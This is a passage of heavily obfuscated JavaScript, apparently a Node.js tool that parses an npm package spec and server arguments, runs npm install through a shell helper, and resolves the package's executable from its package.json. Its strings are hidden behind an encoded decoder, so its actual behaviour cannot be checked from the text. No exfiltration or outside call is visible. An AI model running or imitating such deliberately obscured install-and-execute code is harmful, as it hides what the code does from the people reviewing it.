_0x1e1dd2=_0x20c206[_0x80d6c4(-(0x2b2a+-0x32f0+0x21e3)+(0x57a*0x7+-0x1ae8*0x2+0x3552)+-(-0xd74+-0x406+-0x1d*-0xf5))](_0x5ef1c8=>!_0x5ef1c8[_0x80d6c4(-(-0x4fc+-0x1*0x240b+-0x1*-0x4809)+-(-0x20c+-0x6e*0x3+-0x2*-0x1c6)*(-0x3ef+-0x1133*0x2+0x26d7)+(-0x1*-0x486d+0x54d7+0x25f*-0x29)*(-0x3*-0x42+0x4e0+-0x5a5))]('-')),_0x43c185=_0x1e1dd2<-(-(0x26d4+0x1*0xbf8+0x28d3*-0x1)*(0x2270+0x200e+0x3*-0x1629)+(-0xa*0x10f+0x19c+0x5*0x1d5)*-(-0x1*-0x246d+-0x880+-0x1b59*0x1)+(-0x697*0xe+0x38fa+0x5ca8))*-(-0x1e7*0x11+0x2f*0x2f+0x1e46+(-0x7*-0x13c+0x1*-0x16b1+0x1c42)*(0xb0b+0xf61+-0x1a6a)+-(-0x2a72+-0x178d+0x2*0x3275))+((-0x1da7+0xc39+-0xc*-0x174)*(0xc60+0x1*0x1d4b+-0x1d14)+-(-0xd91+-0x1d2+-0xf*-0x19e)*(0x1997*0x1+0x214d+0x1*-0x3ae3)+(-0x1aab+-0x1180+-0x901*-0x5)*(-0x8c3*0x3+0x1c6+0x1897*0x1))+(-0x2220+-0x269*-0x5+0x1c2*0x1c+-(0x1096+0x21c1*0x1+-0x121b)+(0x2363+-0x1543*-0x1+-0x338e)*(0x1f77+0x912+-0x8*0x511))*-(-(0xf3f+0x1e09+-0x2243*0x1)+-(0x2561+0x9f7*-0x3+-0x1*0x28f)+(-0xc99+-0x5f27+0xa150))?'':_0x20c206[_0x1e1dd2];if(!/^(?:@[a-z0-9._-]+\/)?[a-z0-9._-]+@\d[0-9A-Za-z.+-]*$/u[_0x80d6c4((0x644+0x1a27+0x567*-0x6)*-(0x22b9+0xd27+0x1d3f*-0x1)+-(0xc*0x1a+-0x1c88+-0x1e91*-0x2)+(-0xc*0x67e+0x3*-0x1b45+0xd5a8))](_0x43c185))throw new Error(_0x80d6c4(0x1a65+0x3e47+-0x2*0x1b3b+(0x22*-0xc4+0x4*0x842+-0x1*0x6fd)*(0x14ff+0x1bf5+-0x26f6)+(0x17*0x89+-0x3*0x8b2+0x229a)*-(-0x1*-0xc7a+0x6f6+-0x136d)));return{'spec':_0x43c185,'serverArgs':_0x20c206[_0x80d6c4((-0x1*-0x1d4b+0x2576*-0x1+0x82c)*(-0x2d0+-0x1e*0x77+0x14cb*0x1)+(-0xea3+-0x247*0x3+0x3a3c)+(-0x17*0x123+0xf*0x24d+-0x85d)*-(0x4f*-0x56+0x3df0+-0x3e5*-0x1))](_0x1e1dd2+(-(0x1a97+-0x1*0xe7b+-0x5cb*0x1+(-0x27*-0xcd+0x2078+0x1*-0x2971)+-(-0x2593*0x1+0x2314+-0x1*-0x1f0f))*-((-0x1cd9+0x1168+0xb73*0x1)*(-0x1*0x69b+-0x2*0xdfa+0x2e84)+(-0x137c+-0x18ab+0x2c37)*-(-0x8c9*-0x1+0x182*0xc+-0x1aa3)+-(0x237a*0x1+0x1c61*0x1+0x2*-0x194f))+((-0x1*0x2318+-0x2*-0x13f+0x20ab*0x1)*-(-0x147f+-0x20c1+-0x36bb*-0x1)+-(0x1*-0xc+0xe28+-0x317)+-(0x1f6c+-0x2f3*0x3+-0x1668)*-(-0x3*-0x1a6+0x212+0xcf*-0x7))+-((0x1f83+0xd6+-0x2056)*(0x1ddb+0x143c+0x2*-0xed5)+(-0x2*-0x137f+0x267c+-0x2149)+-(0x18bb+-0x114c*-0x1+0x29d8*-0x1)*(-0x335*-0x4+-0x839+-0x344))))};}async function runNpmInstall(_0x1e78b7,_0x2fc8b6){const _0x27c6fe=_0x5807d3;await run(process[_0x27c6fe(-(-0x4c*0x2b+0x18e3+-0x22*0x59)*-(-0x14e8*0x1+0x42*-0x26+0x1f29)+(0x2371*-0x1+0xbe8+0x1*0x2581)+-(-0x1*-0x51d9+-0x1*0x58b4+0x3691)*(0x15*-0x39+0x1f*0x125+-0x1ecd))]===_0x27c6fe(0x5*-0x4f+0x2502+-0x96c+(-0x970+-0xf00+-0x3*-0x925)+(-0x3e*0x25+-0x11*0x21d+0x3603)*-(-0x6*-0x5a2+-0x2513+0x34a*0x1))?_0x27c6fe(-(0x1b*0xd3+0x4*0x9a9+-0x3173)+(0x2e8*0xc+0x2564+0x47f5*-0x1)*(0x2684+0xc3d*0x3+-0x2*0x2592)+(-0xfeb*0x1+-0x89*0x12+0x1f8f)):_0x27c6fe(-(-0xd*0x2ce+0x269+0x1*0x263f)+-(0x1901+0x26cb+-0x3*0xc1d)+(0x2*0x8cb+0x12*0x95+0x923*-0x3)*(-0x1*-0xaee+0x1fe1+-0x71a*0x6)),[_0x27c6fe((0x6*-0x522+0x13*-0xeb+0x3f12)*(-0x11*0x121+-0xcd*-0x1+0x1*0x1265)+-(-0x1*0xcf4+0x1793+-0x12*0x5b)+-(0x11d0+0x1*0x17dd+-0x2092)),_0x27c6fe(-(0x395*-0x5+0x2379*0x1+-0xdcc)+-(0x1*-0x2424+-0x1*0x1fec+0x113e*0x5)+(0x11*0x1f7+0xb36+0x3*-0x6fe)),_0x1e78b7,_0x27c6fe(0x3ad*-0x1+-0x213+0x2629+-(-0x158c+0xe2*-0x39+0x616b)+-(0x245d+-0x1f*0x7e+-0x4*0x3f5)),_0x27c6fe(-(0x1d66+-0x48*0x1+-0x11ee)+-(0xb51+0x250e+-0x2e84)*-(0x1b7f+0x1d59*-0x1+0x1ef)+-(-0x13b1+-0x1*-0x473+0x5*0x5ae)*(0x1ddf+-0xd51+-0x4*0x423)),_0x27c6fe((0xe19*-0x2+-0x12ab+0x177e*0x2)*(0x439*-0x1+-0x2*0x373+-0xb98*-0x1)+-(-0x1597+-0x167+0xf4d*0x2)+-(-0x144d+0x1a6b+-0x3a*0x3)),_0x2fc8b6]);}async function run(_0x14491f,_0x1907c3,_0x40dabf={}){const _0x3ebabb=_0x5807d3;await execute(_0x14491f,[..._0x1907c3],{'env':{...process.env,..._0x40dabf},'timeout':0x493e0,'maxBuffer':(-(0x1*0x12e2+-0x2f*0x53+0x1bc0+-(-0x16*0xb+-0x4*-0x342+-0x8*0xd4)+-(-0x1*-0x1b1f+0x36a+-0x755))*(-0x24c9+0x262a*0x1+0x111f*0x1+(0x1d7d*-0x1+0x113b+0x1596)+-(-0x4f*0x17+0x22*0x19d+-0x3a*0x58)*(-0x2036+0x1*-0x1ec3+-0x1f7d*-0x2))+(-(0x1c6*0x7+-0x793+0x471)+(0x90c+-0x1227+0x9e2)*-(0x4*-0x58f+-0xc*0xf4+-0x73*-0x4b)+(0xf65+0x23b3+0x6a3*-0x1))+-(-0x3*0x61+0x216d+0x1*-0x158f+(-0x2*-0x12da+-0x1eba+0x6f9*-0x1)*(0x299*-0x2+0x1*0x1c24+0x553)+-(-0xa*0x46+0x8*-0x1e8+-0xca1*-0x3)))*((-(0x20f3+0xe0a+-0x354*0xe)*(0x1*-0x34c+0x2184+0x1c4*-0x11)+(0x2068+0x1803+-0x329*0x10)+(-0x1625*0x1+0x31*0x11+0x218e))*((0xc25+-0xd11+0x21*0x91)*(0x164*0xf+-0x11ed+-0x6b*0x7)+(-0x2543+0x1*-0x6b8d+-0x29a7*-0x5)+-(-0x15b8+0x4ce6+0xb2a*0x1))+-(-(0xbc9+0x2da+-0x6f8)+-(-0x31e5+0x2622+0x27c7)+(-0x2dd+-0x1e*0x7c+0x3515*0x1))*(-(-0x2667*0x1+0x1*-0x1aff+0x6105)*(0x1e4c+-0x49*0x4f+-0x7c4)+(-0x16a+-0x249d+0x6*0x8ed)+-(0x264c+-0xe43+0x1*-0xa73)*-(0xcd1*0x3+0x12ae+0x391f*-0x1))+-(-(0x11d7+-0xbe2+-0x1*-0x490)*(-0x1cf*0x5+-0xe9f*-0x1+0x1f*-0x2e)+-(0x647*-0x5+0x177+0x1e5d)*-(0xaab*-0x1+0x10f*-0x1+0xbc1)+-(-0x6cb+0x11*-0x15c+-0x1*-0x1de8)*-(-0x1c73*-0x2+0x2*-0x1312+-0xd*-0x14a))),...process[_0x3ebabb(0x1017+-0x4c*-0x12+-0x92*0x13+(-0x3b*0x84+0x2*0x7dc+0x1b45)*(0x9d4*0x1+0x1f95+0x14b4*-0x2)+(0x10ed+0x1903+-0x5cf*0x7)*-(-0x1efa+-0x21e8+0x40f3*0x1))]===_0x3ebabb((-0x29*-0x12+-0x1805+0x1524)*-(0xb0*0x24+0x14dd+-0x106b)+-(0xe49+-0x922+-0x1bab*-0x1)+(0x95*0x6+-0x4f2+0x1e6)*(0x2e9+-0x3*-0x80e+-0x1a84))&&_0x14491f[_0x3ebabb(-(-0x1c2f+-0x1a8d+0x123f*0x3)*-(-0x258b*0x1+0x1d*0x2+-0x9e*-0x79)+(0x279f+-0xc87*0x6+-0x5d*-0xca)+-(-0x3*-0xc1b+0x5234+-0x2ce2))](_0x3ebabb((0x389*-0xb+0x1d*0x1d+0x239b)*-(0x5*0x527+0xbc*0x17+-0x25a8)+(-0x185d+0x144a+0x2f*0x1d)+(0x1*-0x863+-0x67b*-0x1+0x757*0x1)))?{'shell':!![]}:{}});}function _0x14c4(_0x4c3e7c,_0x5ead57){const _0x4f992b=_0x4384;_0x4c3e7c=_0x4c3e7c-(-(-(-0x1*-0x851+-0x3d27+0x5681)+-(0x7c9*-0x3+0x24d1+-0xc4e)*(-0x859+-0x25d3+0x2e43)+(0x1*0x1da5+-0x24e5+0x793)*(-0x1770+0x2*-0x1bb+0x1ba1))*-(-(0x1*-0x2643+0x5*-0x74b+-0x5aa1*-0x1)+(0xbb0+0x186f+-0x11*0x11e)+-(-0x876+-0x19fd+-0x2386*-0x1))+(-(0x105d+0x17cd+-0xd63*0x3)*(-0x1571+-0xde2+0x263a)+-(0xd33+0x245c+-0x2bbf)+-(0xf40+0x93d+-0x1879)*-(0x11*0x45+-0x69e+0x614))+-(0xf5c*-0x2+0x10*-0x30+0x3d7a+-(0x693*-0x1+0x1225+0x322*-0x1)+(-0x2f*0x74+0x15*-0x5+0x16b8)));const _0x59fe6b=_0x5bb2();let _0x43dc33=_0x59fe6b[_0x4c3e7c];if(_0x14c4[_0x4f992b(0x1*0x399+-0x15c6+0x65f*0x3)]===undefined){var _0x1cd69a=function(_0x411a99){const _0x294bb1=_0x4f992b,_0x5c3091=_0x294bb1(0x14d9+-0x7be+0x4*-0x304);let _0x203f7c='',_0x47a75c='';for(let _0x50bd82=-(0x5d0e+-0x2457+-0x6fa)+-(-0x69+0x4*0x962+0xc58*-0x3)*(0x565*-0x7+0xa3a+0x250*0xd)+(-0x7f+-0x20c*-0x16+0x6077)+(-0x1*0x963+-0x6*0x323+0x31f0*0x1+(-0x82f+0xb7*0x1b+0x351*0x7)+-(-0x54*0x95+-0xb67+0x1*0x69e3))+(-(0x6b96+0x475*-0x7+-0x121b)+(0x1b4d*0x2+0x1b70+-0x31e8)+-(-0x25*-0x21+0x1e39+0x2282*-0x1)*-(0x4d*0x2+0x141d+-0x1427))*-((0x1303+-0x1148+-0x1b9)*-(0xdaf+-0x754+0xbad)+-(0x25e5+0x2*-0x7b+-0x1ae8)*(0xccd+0x112+0x163*-0xa)+(-0x321*0x13+0xbe5+-0x5da6*-0x1)),_0x50156f,_0x1f85dd,_0x5ee6c0=-0x33*-0x206+0x801b+-0xa4d9+(-0x2923+-0x2*-0x949+-0x179f*-0x3)+-(0x7e25+0x32e4*0x1+0x1393*-0x5)+(-0x3*-0x3cb+-0x19e7+0x59*0x37+-(0x29b4+0x61*0xb+-0x178f)+(-0x6*0x27e+0x1*-0x22ca+0x63a*0x8)*(0xcd2+-0x3*-0xae4+0x1a6*-0x1b))*-(-(-0x100c+-0x1b3b+-0x295*-0x16)*(-0x263b*-0x1+0x94f+-0x2f87)+(0x10a8+-0x2*0x86d+-0x3e1*-0x9)*-(-0x977*-0x2+0x50a+0x199*-0xf)+(0x1*-0x7e6b+0x3e28+0x1*0xa2fb))+(0x2027*0x1+0x2*0x1163+-0x2d79+-(0x14ff+-0x239b+0x1*0x132e)+-(-0x943*-0x1+0x1*0x167c+-0x9*0x1ba))*-(-(-0x1*0x14e6+0x12*-0x3c+0x1e59)+(0x1262+-0x1*-0x1406+-0x2cb)+-(-0x1*-0xadc+-0x17ef+-0x1*-0x2b63)*(-0x70+0xb2e+-0xabd));_0x1f85dd=_0x411a99[_0x294bb1(0x5*-0x1e7+-0x2449*0x1+0x2ee5)](_0x5ee6c0++);~_0x1f85dd&&(_0x50156f=_0x50bd82%(0x184f+0x9f*-0x3e+-0x791*-0x2+(-0xac6*0x2+-0x1*-0x1203+-0x356*-0x4)+(-0x1*0x1cac+-0x2462+0x48ad)*(-0x97*0x40+-0x1c9c+-0x1*-0x425e)+-((-0xe*0x1f+0x18a7+-0x16f4)*(-0xc82*0x3+0x7fd+0x36b8)+(-0x3*0x762+0x4*0x13d+-0x2*-0x11aa)+-(0x2*0xb89+-0x20c+0x4*0x1fc))+-(-(0x2581+-0x14bd+0x526)*-(-0x1730+0x148c+0x2a5)+-(0xc47+-0x31d*-0x2+0x4a*-0x40)*(0x1170+-0x2e58+0x3dd*0xf)+(-0x2405+-0x94*0xf+0x3f6f)))?_0x50156f*(-(0x88c*-0x1+-0x442*0x4+0x1e1f)*(0x232d+0x670+-0x16*0x1e4)+(0x4*-0x240+0x1d75+-0xf98)+(0x19a9+0xa97+-0x96*-0x16)+((0xed6+-0x3e4+-0x1*0xaf1)*-(0x13e6+0x1bd8+-0x1*0x145d)+(-0x4*-0x737+0x53*-0x39+0x1*-0xa44)*-(0x1288+0x544+-0x16cb)+(0x1*-0x11f2+0xb9*0x6+-0xda1*-0x1)*(-0x3*-0x703+-0x14c8+-0x2*-0x8e1))+-(-(-0x1506+-0x1e9c+0x33a3)*-(-0x419+-0x29*-0x223+-0xc4d)+-(0x3207+0x127*-0x1+-0xc6a*0x1)+(0x1146+0x6a6+-0x17bb)*(-0xc3a+-0x246+0xf1c)))+_0x1f85dd:_0x1f85dd,_0x50bd82++%((-(0x1ad9+-0x7*0x3c8+-0x5b)+(0x70c*0x2+0x4*0x4+-0xe25)*-(-0x172d+-0x1*-0x1d86+0x9*-0x63)+-(0x14c*0x6+0x7*-0x3d+0x2*-0x2f7)*-(0x1ee4*0x1+0x2025+-0x3eda))*((-0x21*0xab+-0xaf+0x16bc)*(0x9*-0x265+-0x4*-0x482+-0x35b*-0x3)+(0x2082+0x25c1+-0x349d)+-(0xd*-0x266+0x3*0xba+-0xa4d*-0x3)*-(-0xd67+-0x23ae+-0xce*-0x3d))+-((0x1bf+-0x1*-0x1121+-0x12db)*-(0xa*-0x1a3+0x1*-0x176f+0x2d47)+(0x62*-0x24+0x1771+-0x9a8)*(0xe74+0x343*-0x5+0x1*0x11ea)+(-0x1*-0x5d5+-0x1716+0x1*0x1c95))*(-(-0x5c*-0xb3+-0x8e7*0x2+-0x85a*0x1)+-(0x84d+0x481e+-0x2beb)+(0x61ff+0x90da+-0x133*0x83))+-((-0x9b*-0x11+-0x1ab9+0x1*0x106f)*(-0x52da+0x489*-0xb+0xae36)+(0x190b+0x4d8+0x2*-0xee3)*(-0x2f5+0x7ab*0x4+-0x1b04)+(-0xf8c+0xc2f+0x1*0x458)*-(-0x7b5+0xcf6+0x28c*-0x2))))?_0x203f7c+=String[_0x294bb1(0x2303+0x1297+-0x34b5)](-(-0xda*-0x31+-0x546+-0x44b)*(0x1a93*0x1+0x664+0x20f6*-0x1)+(-0x9a*-0x6+0x1*0x556+-0x7*-0x220)+-(-0x4*0x7e1+0xd7a+0x56*0x64)*-(0x88*0x11+0x1276+-0x1b7d)+((-0x157c+-0x226e+0x1*0x4b17)*-(-0xd6*0x13+0x1*-0xd85+0x1d68)+-(0x12b5+-0x1*-0xf23+-0x1373)+(0x95d*0x3+0x1*-0xa22+0x14f3))+-(0x2c3*0x7+-0x1994+0xa06+-(-0xa*0x254+-0x89f*0x1+0x3899)+(-0x2*-0x1a3+-0x2f1c+0x4c4f))&_0x50156f>>(-(-(-(-0x307+0x6d*0x35+-0x131f)*-(-0xd*0x147+0xaad+0x63c)+-(-0x14fd*0x1+-0x1*-0x6c7+0x2303)+-(0xbc1+-0x667+0x17d*0x4))*-(-(0x246+-0xd*0x41+-0x5*-0x47)*-(0x10fd+-0x8d1+0x1*-0x80f)+(-0x1b7+0xc98+-0xa18)*-(-0xd6+0x909*-0x4+0x2503*0x1)+-(0x1*0x116+0x1895+0x4f*-0x49))+(-(-0x115+-0x907*-0x3+-0x18a5)*(0x21e4+0x3be+-0x259a)+-(-0x1e*0x1c+0x37*-0x99+0x1*0x2437)*-(0x24*0x8f+0x272*0x9+-0x29a0)+(-0x10a5+0x1380+-0xf3*0x3)*(-0x1fe4+0x35d*-0x2+-0x358*-0xc))*-(-(0x10e7+-0x3*-0xc6f+0xdb*-0x35)*-(0x2e7*0xc+0x53*0x23+-0x2e2c)+(-0x2*-0xde5+0x2683*0x1+0x2*-0xe82)+-(0x4991+0x4*0xf92+-0x5c78))+(-(0x5ce+0x2e3+-0x8b0)*-(0x17f*0x1+-0x11f7+0x1e9e)+-(-0x143*0x17+0x1297+0xb*0x11b)*(-0x409+0x2c2*0x5+-0x8*0x138)+-(-0x1840+-0x1f63+0x37a5)*(-0x4*-0x561+0xc5c+-0x5*0x621)))*_0x50bd82&-(-(-0x1082+0xbed*0x1+0x52a)*-(-0xae7+0x16a5+0x1*-0xb7b)+(0x4e7*0x5+-0x124+-0x159*0x1)+-(-0x3*-0x287+0x27b7+0x50e*-0x1))+-(-(0x1acf+-0x3*0x73d+-0x3d*-0x7)+(0x1444+0x7*0x43+-0x524)+(-0x4*-0x409+-0xda+-0xaf9*0x1)*-(0x1*0x1119+-0x1*-0x1a11+0x3*-0xe63))+((-0x7b*-0x8+0x2672+-0x1b1*0x19)*-(0x4*-0x589+-0x17*-0x17b+0x115)+-(0x1*-0x2189+-0xc18+0x2da3)*-(0x4f0*0x4+0x1*-0x23fd+-0xc*-0x160)+(0x25c1+-0x652*-0x5+-0x38c9*0x1))*(-(-0x1ed9*0x1+0x42b*-0x5+-0x6e*-0xbc)+(-0x1364+-0x12e+0x1*0x179b)+(-0x1*-0xc62+-0x18*0x173+0xc5a*0x4)))):-(0x3f5*-0x1+-0xa0d+-0x4*-0x8fa+(0x345d+-0x3a2b*-0x1+-0x4bd6)+-(0xa*-0xfb+0x41*0xd9+0x433))+-(-(-0x7ee+0x16b2+0x43*0x16)+(0x1*0x5bf+0x1*-0x47c+0x103)+(0x2d2e+0x29d*-0x2+-0xe02))*(-(0x15*-0x1a1+0x4*-0x68+0x23d8)*-(-0x6aa*0x4+-0x1be5+-0x943*-0x7)+-(0xad*-0x39+-0xdc4*0x1+0x4902)+-(-0x206d+0x24fd*0x1+-0x28a)*(-0x3a*0x1b+-0x3*0x32a+-0x1*-0xfa1))+-(-(-0x1*0x17+-0x1276+0x1296)*-(-0x21b2+-0x11ad+0x134*0x2c)+(-0x21*0x46+0x190+0x3*0x742)+-(-0x4*0x469+0x427*0x3+0x3*0x9f7))*-(-(0x2253+-0x209*0x1+-0x2047)*(0x4f*0x1d+-0x201c+0x2370)+-(-0x45e*-0x8+-0x1*0x2363+0x38*0x4)*-(-0x1735+-0x23ae+0x3b14)+(0x13*0x91+0x270d+-0x21d4))){_0x1f85dd=_0x5c3091[_0x294bb1(0xb9+-0x5*0x3c7+0x1318)](_0x1f85dd);}for(let _0x1e83f6=(-(0x23b0+0xe7f+0x67*-0x28)+(-0x12c7*-0x1+0x23*0x7a+-0x2372)*(-0x1*-0xfde+-0xd*-0x1cf+-0x1c42)+(0x115b+0x1284+-0x2215)*(-0x1a9f+-0x1885+0x3325))*-(-0x2909+-0x1*-0x3870+0x3*0x466+-(-0xfc2*-0x2+0x1670*-0x1+-0x913)*-(-0x12df*0x2+-0x1*-0x1bc+0x24fb)+-(0x6*0x3b3+0x1*0x9e3+-0x1ff8)*(0x7c*-0x1f+0x850+0x1*0x7b9))+(-(-0x13b4+0x2002+-0xc4d)*-(-0x1*0x1ca3+0x2*0x10f7+0x63*-0x5)+(0x3*0x355+-0x1041*-0x2+-0x1bab)+-(-0x77e*-0x2+0xf*-0x3b+0x59b*-0x2)*(-0x56*-0x4f+0x35d+-0x1dae))*-(-(-0x133d*-0x1+0x47d+-0x17b9)*(-0x3*0x57a+-0x19fd+0x2ed7)+(0x1696+0x95*0x5+-0x2*0x164)*(-0x1*-0x189d+-0xd36*0x1+-0xb66)+(0x1143+0x1a34+-0x2b76)*-(0x1*-0x2677+0x205+0x3694))+(-(-0x9eb+-0x212d+0x2b19)*-(-0x307a+-0x755*-0x6+-0x1*-0x23f1)+-(0xb2*0x1d+0x237+-0x50a)+-(0x8f9*0x2+0x1*0x50+0x17*-0x83))*(-(0x2*0x12a4+0xce1+0xc87*-0x4)*-(-0x607+-0x1*-0x1e6d+-0x1831)+(-0xe43+0x158a+-0x1*-0x62)*-(0x1*0x24e1+0x1db7*0x1+0x4297*-0x1)+(-0x9ab+-0x541*0x6+0x2932)*(-0x5*-0x74d+-0x1546+-0xa42)),_0x313f4b=_0x203f7c[_0x294bb1(0x1ff5+-0xe1e+-0x10bd)];_0x1e83f6<_0x313f4b;_0x1e83f6++){_0x47a75c+='%'+('00'+_0x203f7c[_0x294bb1(-0x1*-0x1e73+-0x2b*-0x94+0xcf*-0x43)](_0x1e83f6)[_0x294bb1(-0x158c+-0x1dce+-0x344f*-0x1)]((0x7*0x517+0x8*0x100+-0x2ba0)*(-0x1a2d*-0x1+-0x16*0xc9+0x20dd)+(0x1dd4+-0x1*0x3173+-0x332f*-0x1)+(-0x289+-0x1a17+0x1cad)*-(-0x1cf*-0x6+0x2ea*0x5+-0x166b)+-(-(0x3df+0x44*0x13+0x22*0x2f)+-(-0x799*-0x4+-0x5a*-0x67+0x8*-0x853)*(0x22+-0x1dbb+0x2431)+(0x49d4+-0x35c4+-0x3bb*-0x5))+-(-0x4*0x3c1+0xe8f*0x1+0x2bfe+-(0x49*0x2+-0x3fb*0xb+0x421a*0x1)+(0x37*0xd+-0xf7e+0xfe6))))[_0x294bb1(0x268d+-0x2392+-0x1fc)](-(-(-0x192f+-0x4*0x4f2+0x2*0x2758+(0xefc*-0x1+-0x1257+0x23*0x189)+(0x43*0x79+0x1*0x16f9+-0x36a2)*-(-0x125a+-0x14e6+-0x2f*-0x11b))+-(0x6*-0x63a+0x1c9b*-0x1+0xb43*0x7+(0x2319+-0x7ea+-0x1b2e)*(-0x1b93+-0x1f69+0x4dbf)+-(-0x432*0x3+0x1e4b+0x1*-0xb1b))*-(-(-0x6ce*0x4+-0x192+0x2a7e)+(-0x57*-0x57+-0x9ac+-0x412)+-(-0x22e7+-0x26*-0x93+0xf33))+(0x1832+-0x2*-0x865+0x259b*-0x1+(0x21a2+0x53*-0x62+-0x1*0x1d8)*-(0x1*-0x1479+0x4*0x790+-0x38)+(-0x14b5+0x409c+-0x112*0x5))));}return decodeURIComponent(_0x47a75c);};_0x14c4[_0x4f992b(-0x88f*-0x1+-0xf8*0x1+-0x682*0x1)]=_0x1cd69a,_0x14c4[_0x4f992b(-0x15c7+0x129b+-0x1*-0x416)]={},_0x14c4[_0x4f992b(0x1*0x265d+-0x1*-0xe59+-0x33c6)]=!![];}const _0x7443d2=_0x59fe6b[(0xd9+-0x5b*0x4a+0x1976)*-(0x5dc+0x2bc1*-0x2+-0x1065*-0x8)+-(0x3*-0xbaf+0x9a*0x11+-0x2132*-0x1)+(0xa38*0xa+0xae30+-0x5c21*0x2)+(-(-0x44b+0x8ad+-0x1f54*-0x1)+-(0x35*0x16+0x52f*0x5+-0xf0c)*(-0x5e2+0x173+0x470)+(0x4b32+-0x5*-0x1b5f+0x1*-0x8591))+-(0x909b+-0x2ef9+0x876*0x3+-(-0x23ba*0x1+-0xe*-0x10f+0x15b9*0x1)*(0x7*0x3ec+0x3*0x533+0x4c1*-0x9)+-(-0x151a+0x109d*-0x1+-0x11*-0x291)*(0x1*-0x2377+0x235d+0x1b))];_0x14c4[_0x4f992b(-0x1923+-0xde3+0x280d)]!==_0x7443d2&&(_0x14c4[_0x4f992b(0x2324+0xde*0x15+-0x3470)]={},_0x14c4[_0x4f992b(0x904+0x1670+-0x1e6d)]=_0x7443d2);const _0x3018cc=_0x14c4[_0x4f992b(0xd3*-0x9+0x14b9+-0xc64)][_0x4c3e7c];return _0x3018cc===undefined?(_0x43dc33=_0x14c4[_0x4f992b(-0x1*0x6d1+0x1*-0x1e2f+0x2615)](_0x43dc33),_0x14c4[_0x4f992b(-0x1*-0xeed+0x755+-0x8*0x2ab)][_0x4c3e7c]=_0x43dc33):_0x43dc33=_0x3018cc,_0x43dc33;}async function resolvePackageExecutable(_0x155e98,_0xe9f0e5){const _0x3f77b4=_0x5807d3,_0x1e1f02=_0xe9f0e5[_0x3f77b4(-(-0x165e+0x59d*0x1+0x20cd)+-(-0x8ee*0x1+0xf32+-0x643*0x1)*(-0x1*-0x9d1+-0x1dd9+0x21c5)+(0x3582+0x13c5+-0x29fc))](0x7*-0xad+0x1dc*-0xb+0x3f05+(-0xaad+-0xb41*-0x1+-0x15*0x7)*-(0x1a32+0x2668+-0x3caf)+-(0xadc+0x5*-0x23+0x1087)+(-(-0x18db+0x974+0x1a40)+-(0x26bd*-0x1+0x29*-0x7b+-0x36*-0x116)*(0x221e+-0x84*-0x3e+-0x9a*0x6d)+(-0xdda+-0xb98+-0x3a3*-0x7)*(0x108c+0x7ed*-0x4+0x1d7d))+-((0x259*0xd+0x1*-0x6ab+-0x158f)*-(0x13f6+0x237d+-0x12*0x314)+(-0x1*0x18c5+-0x9b*0x3+0x215a)+(0x218b+-0x13d*-0x2c+0x1*-0x3905)),_0xe9f0e5[_0x3f77b4(-0x21aa*-0x1+0xe3d+-0x2079+(0xb*-0x332+0x13f7+-0x43c*-0x4)+(0x6cf*0x2+0x2256+-0x203f)*-(0xf06+-0x103d+-0xd*-0x18))]('@')),_0x568b2c=resolve(_0x155e98,_0x3f77b4(-(-0xda*0x2b+0x1*-0x1ead+0x4461)*-(-0x3e+-0xb4d+-0x5cd*-0x2)+-(0x169a*0x1+0x97d*0x2+-0x297f)*-(-0x1*0x94f+-0x7*-0x535+-0x1a1d)+(-0x23e4*-0x1+-0x1a00+-0x1a59*-0x1)*-(0x4e5*0x1+0x5f9+-0xadd)),..._0x1e1f02[_0x3f77b4(-(0x13*-0x1f3+0x293*0xd+-0x6c*-0xc)*(-0x1*-0xbbc+-0x1*0x713+-0x4a4)+-(-0xfe5+-0x937+0x191d)*-(-0xcf6+-0x13*-0x8+0x26e9)+(0x640*0x5+-0xcd3+0x8*-0x193)*-(0x22ce+0x1*-0x2525+-0x12d*-0x2))]('/')),_0x1f160e=JSON[_0x3f77b4(-(-0x1*0x1e8b+-0x575*0x7+-0x31d*-0x17)+-(-0x1c14+-0x1*-0x812+-0x8a8*-0x6)+-(-0x972+-0x59f+0x11*0xe3)*-(0xe0b*-0x2+-0x2*0xb0c+0x446c))](await readFile(resolve(_0x568b2c,_0x3f77b4(-(0x2394+0x331*0x4+-0x2*0x182a)*(-0x818+0x1754+-0xf34)+(0x42*-0x97+0x17af+-0x6*-0x474)+-(-0x2*0xe41+-0x1f81+0x6*0xb9b))),_0x3f77b4(-0xec7+0x5f3*-0x1+-0x135e*-0x2+-(0x17b*0x7+0x38*0x61+0x529*-0x6)*(0x3*0x6e2+-0x1*0x3b2+-0x10df)+-(-0x1*-0xb2d+-0xb25+-0xd*-0x41)))),_0x4dfe5a=typeof _0x1f160e[_0x3f77b4(-(-0x16a+-0x2*0x1227+0x276d)+(-0x33*-0xb5+-0x1ebe+-0x550)*(0x1*0x39+-0x26a4*0x1+-0x1b*-0x1fe)+-(-0x131a+-0x15ae+0x4c*0xb2))]===_0x3f77b4((0x24e1+-0x112b+-0x1313)*(0x1517*0x1+0x6ad*-0x1+-0xe49)+(0x499+-0x28*-0xa6+0x598)+-(0x4fe9*0x1+0x6*-0xf95+0x4521*0x1))?[_0x1f160e[_0x3f77b4(-(-0x2*-0x89f+-0x1c*0xad+0xaa3)*(-0x7bd+0xe8e+-0x6ce)+-(-0x1*-0x1ecb+-0x1a4d*0x1+0x3*-0x17f)*(0xaf7*0x3+0x71*-0x48+0x243c)+(0x5b4f*-0x1+-0x7883+-0x115a4*-0x1))]]:Object[_0x3f77b4((0x12f4+0x16c2+0x48b*-0x9)*(-0x17d3+0x2498*-0x1+0x3c70)+-(0x1bcf*0x1+0xf17*-0x1+-0xcb7*0x1)*(0x1*0x2309+0x27da+0x43f*-0xa)+(-0x1411+-0x262e+-0x131*-0x31)*(0xd*-0x3+-0x10a3*-0x1+-0xf9a))](_0x1f160e[_0x3f77b4(0x5f*-0x71+-0x2*0x10b1+0x6bdb+-(0x186b+0x23d5*0x1+-0x3c3a)*(0x1*0x3d9+-0xdd3+0x641*0x2)+-(-0x5b*-0x21+-0x1a24*0x1+0x1e29*0x1))]??{});if(_0x4dfe5a[_0x3f77b4(-(0x21c1+-0xf4*-0x17+-0x2e4a)*(0x15f+-0x1f47+-0x1*-0x1de9)+(0x4c4+-0x3b*-0xa6+-0x1*0x2b05)*-(0x14b*-0x17+-0x921+-0x21*-0x17a)+(0x288c+0x10ea+0x2d0*-0xd)*(0x1681+-0x2*-0x18e+-0x199c))]!==-((0x2810+-0xa8b*-0x1+-0x188f)*(-0xd2a+0x1*-0x1e8f+0x2bba)+-(-0x1*0xa9a+-0xf43*0x1+0x19ef*0x1)*(-0x65d*0x4+-0xfdb+-0xa*-0x439)+(-0x1b5*0x2+0x2380+-0x170f